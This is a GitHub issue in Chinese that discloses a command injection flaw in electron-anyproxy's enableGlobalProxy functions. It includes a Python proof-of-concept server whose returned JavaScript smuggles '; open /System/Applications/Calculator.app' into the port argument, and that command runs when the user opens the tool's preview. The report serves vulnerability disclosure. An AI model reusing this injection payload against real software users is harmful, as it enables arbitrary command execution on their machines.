Skip to content

Command_injection_vulnerability #40

Description

@notwo1f

环境准备

mac 安装:v8.17.0
nvm install 8.17.0
nvm use 8.17.0
npm install -g npm@6.14.17
npm start

chrome 安装 proxy switch omega.

漏洞原理

漏洞点,在macProxyManager.enableGlobalProxy(ip, port, proxyType) 和winProxyManager.enableGlobalProxy(ip, port)中,
由于我的测试环境是mac的,所以我这里只给出mac的poc。这两个函数可以将IP和port 拼接成命令进行执行,如果port中插入了注入的命令的话,则会造成命令注入。并且由于改工具中的preview有执行js的功能。所以攻击者可以在网站中布置恶意触发macProxyManager.enableGlobalProxy(ip, port, proxyType) 和winProxyManager.enableGlobalProxy(ip, port)
这两个函数的JS代码,当用户在使用preview的时候就会触发漏洞。

攻击测试

Image

POC:
`from http.server import HTTPServer, BaseHTTPRequestHandler

JS = (
"var p=require('path');"
"var mgr=require(p.join(__dirname,'../lib/systemProxyMgr'));"
"mgr.enableGlobalProxy('127.0.0.1','8001; open /System/Applications/Calculator.app #','http');"
"alert('done');"
)
PAYLOAD = f''

class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.end_headers()
self.wfile.write(PAYLOAD.encode())
def log_message(self, *args): pass

HTTPServer(('0.0.0.0', 8888), H).serve_forever()`

启动恶意server.
设置chrome的proxy-switchomega 挂上electron-anyproxy的代理,注意不要放掉本地的地址,因为演示使用的是本机环境,所以要让本地的地址也走这个代理。

配置electron-anyproxy 启动,监听global ,然后开启抓包

在chrome中访问搭建的恶意server:127.0.0.1:8888
electron-anyproxy中抓到包后打开preview,命令注入就会执行成功,如图:

Image

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions